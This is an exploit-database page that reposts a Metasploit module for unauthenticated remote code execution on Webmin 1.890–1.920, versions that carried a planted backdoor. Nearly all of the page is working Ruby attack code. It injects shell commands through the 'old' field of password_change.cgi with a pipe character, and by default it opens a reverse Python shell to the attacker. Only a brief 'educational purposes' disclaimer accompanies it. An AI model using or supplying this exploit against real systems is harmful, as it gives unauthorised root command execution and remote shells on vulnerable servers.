Webmin 1.920 unauthenticated remote code execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-08-12 | Type : remote | Platform : linux
This exploit / vulnerability Webmin 1.920 unauthenticated remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})

if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})

if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end

##
# Exploiting phase
##
def exploit

unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})

end
end